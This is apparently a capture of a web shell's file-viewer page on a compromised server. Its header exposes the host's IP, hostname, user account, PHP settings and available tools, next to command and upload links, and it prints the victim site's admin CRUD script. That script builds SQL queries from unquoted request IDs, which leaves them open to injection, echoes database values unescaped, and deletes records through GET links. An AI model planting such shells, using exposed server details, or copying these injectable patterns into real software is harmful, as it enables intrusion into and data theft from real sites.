MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/bmtrust.org.in/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/bmtrust.org.in/admin/crud_sample.php
<?php
include("include/header.php");
include("include/sidebar.php");
if(!empty($_REQUEST['did'])){
    $did=mysqli_real_escape_string($con,$_REQUEST['did']);
    $q=mysqli_query($con,"delete from crud_sample where id=$did");
    if($q){
        $_SESSION['msg']="Data Deleted Successfully";
    }else{
        $_SESSION['msg']="Data Deletion Failed";
    }
    header("location:crud_sample.php");
}
if(!empty($_REQUEST['upid'])){
    $doid=mysqli_real_escape_string($con,$_REQUEST['upid']);
    $do="EditCrudSample";
    $Row=mysqli_fetch_array(mysqli_query($con,"select * from crud_sample where id=$doid"));
}else{
    $doid="";
    $do="CrudSample";
}
?>
<!-- DataTables -->
<link rel="stylesheet" href="bower_components/datatables.net-bs/css/dataTables.bootstrap.min.css">
<div class="content-wrapper">
    <section class="content-header">
        <h1>
            Crud Sample
            <small>Single Page</small>
        </h1>
        <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-dashboard"></i> Level</a></li>
            <li class="active">Crud Sample</li>
        </ol>
    </section>
    <!-- Main content -->
    <section class="content container-fluid">
        <div class="row">
            <div class="col-md-6">
                <div class="box box-primary">
                    <div class="box-header with-border">
                        <h3 class="box-title">Crud Sample</h3>
                    </div>
                    <div class="box-body">
                        <form role="form" action="action.php" method="post">
                            <input type="hidden" name="do" value="<?=$do;?>" />
                            <input type="hidden" name="doid" value="<?=$doid;?>" />
                            <div class="box-body">
                                <div class="form-group">
                                    <label for="name">Name</label>
                                    <input name="name" value="<?=!empty($_REQUEST['upid'])?$Row['name']:"";?>" type="text" class="form-control" id="name" placeholder="Enter Name" />
                                </div>
                                <div class="form-group">
                                    <label for="email">Email</label>
                                    <input name="email" value="<?=!empty($_REQUEST['upid'])?$Row['email']:"";?>" type="email" class="form-control" id="email" placeholder="Email">
                                </div>
                                <div class="form-group">
                                    <label for="mobile">Mobile</label>
                                    <input name="mobile" value="<?=!empty($_REQUEST['upid'])?$Row['mobile']:"";?>" type="mobile" class="form-control" id="mobile" placeholder="Enter Mobile Number">
                                </div>
                                <div class="form-group">
                                    <label for="city">City</label>
                                    <input name="city" value="<?=!empty($_REQUEST['upid'])?$Row['city']:"";?>" type="city" class="form-control" id="city" placeholder="Enter City">
                                </div>
                            </div>
                            <div class="box-footer">
                                <button type="submit" class="btn btn-primary">Submit</button>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
        </div>
        <div class="row">
            <div class="box box-primary">
            <div class="box-header with-border">
              <h3 class="box-title">Data Table With Full Features</h3>
            </div>
            <!-- /.box-header -->
            <div class="box-body">
              <table id="example1" class="table table-bordered table-striped">
                <thead>
                <tr>
                    <th>Action</th>
                    <th>#ID</th>
                    <th>Name</th>
                    <th>Email</th>
                    <th>Mobile</th>
                    <th>City</th>
                </tr>
                </thead>
                <tbody>
                    <?php
                        $q=mysqli_query($con,"select * from crud_sample order by id desc");
                        $i=0;
                        while($r=mysqli_fetch_array($q)){$i++;
                    ?>
                <tr>
                  <td>
                      <a href="?upid=<?=$r['id'];?>"><i class="fa fa-pencil"></i></a>
                      <a href="?did=<?=$r['id']?>" onclick="return confirm_click();"><i class="fa fa-close"></i></a>
                  </td>
                  <td><?=$i;?></td>
                  <td><?=$r['name'];?></td>
                  <td><?=$r['email'];?></td>
                  <td><?=$r['mobile'];?></td>
                  <td><?=$r['city'];?></td>
                </tr>
                <?php
                        }
                ?>
                </tbody>
              </table>
            </div>
            <!-- /.box-body -->
          </div>
        </div>
    </section>
</div>
<?php include("include/footer.php"); ?>
<!-- DataTables -->
<script src="bower_components/datatables.net/js/jquery.dataTables.min.js"></script>
<script src="bower_components/datatables.net-bs/js/dataTables.bootstrap.min.js"></script>
<!-- page script -->
<script>
  $(function () {
    $('#example1').DataTable({
      'paging'      : true,
      'lengthChange': true,
      'searching'   : true,
      'ordering'    : true,
      'info'        : true,
      'autoWidth'   : true
    });
  });
</script>
</body>
</html>

MMCT - 2023